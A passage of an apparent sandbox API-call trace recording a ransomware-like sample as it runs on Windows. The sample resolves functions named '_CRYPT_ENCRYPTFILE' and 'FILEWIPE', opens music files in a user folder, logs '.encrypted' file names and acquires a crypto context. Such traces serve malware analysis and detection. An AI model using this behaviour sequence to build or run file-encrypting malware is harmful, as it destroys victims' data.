wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.663] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.663] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.663] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.664] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.664] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.665] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.666] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.669] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.669] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.669] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.669] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.669] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.669] CharLowerBuffW (in: lpsz="byte[67848]", cchLength=0xb | out: lpsz="byte[67848]") returned 0xb [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.670] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.670] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.670] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.671] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.671] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.671] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.671] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.672] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.672] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.673] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.673] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.673] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.673] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.673] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.673] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.673] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.673] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.673] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.673] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6266) returned 1 [0026.674] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.674] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.674] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.674] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x187a, lpOverlapped=0x0) returned 1 [0026.674] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.674] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x187a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.674] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6266) returned 1 [0026.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.encrypted.m4a\r\n", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0026.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.encrypted.m4a\r\n", cchWideChar=57, lpMultiByteStr=0xe8f4051810, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 57 [0026.674] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051860*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051860*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x38, lpOverlapped=0x0) returned 1 [0026.674] CloseHandle (hObject=0x1fc) returned 1 [0026.675] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.675] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.675] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.675] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.675] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.676] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.676] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.676] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.678] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.678] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.679] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.wav", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0026.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.wav", cchWideChar=38, lpMultiByteStr=0xe8f41889f0, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.wav", lpUsedDefaultChar=0x0) returned 38 [0026.679] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\1q1ef6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0026.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=38, lpWideCharStr=0xe8f4069890, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.wav") returned 38 [0026.679] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.680] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.680] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.680] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.680] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178900, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.681] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.681] CloseHandle (hObject=0x1fc) returned 1 [0026.681] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.681] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.681] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.681] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.681] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.681] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.681] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.681] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.681] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.681] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.681] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.682] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.682] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.682] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.682] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.682] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.682] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.682] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.682] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.682] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: 